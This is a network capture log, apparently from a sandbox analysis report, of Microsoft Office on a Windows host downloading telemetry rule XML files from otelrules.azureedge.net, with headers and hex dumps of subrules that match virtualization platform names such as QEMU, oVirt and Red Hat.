2024-10-30 19:14:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:07 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 64f5c2f9-201e-000c-22cd-2a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191407Z-r197bdfb6b4cnxt4mv5f3apubw00000000y000000000vytt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:08 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:08 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 98e85290-a01e-0021-7dec-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191408Z-16849878b7898p5f6vryaqvp58000000097g00000000p41u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:08 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:08 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:08 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4fe48f14-f01e-005d-23b7-2a13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191408Z-159b85dff8ftk4pxhC1DFWg5f000000001000000000034yw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:08 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:08 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:08 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191408Z-16849878b78qfbkc5yywmsbg0c000000081000000000vtut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:08 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:08 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 24f7a248-a01e-0053-7a83-298603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191408Z-17c5cb586f66g7mvgrudxte95400000003d000000000d80y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:08 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:08 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191408Z-16849878b78km6fmmkbenhx76n00000007sg00000000k7wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:08 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:09 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191409Z-16849878b78km6fmmkbenhx76n00000007qg00000000w87r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191409Z-16849878b78xblwksrnkakc08w00000007m000000000ya89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191409Z-16849878b78nzcqcd7bed2fb6n00000000yg000000005q21 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: e1e6f089-901e-005b-1e15-262005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191409Z-15b8d89586f4zwgbgswvrvz4vs00000009t000000000ftqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:09 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 57ce5cde-c01e-000b-111a-28e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191409Z-15b8d89586fst84kttks1s2css000000026g000000004baw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
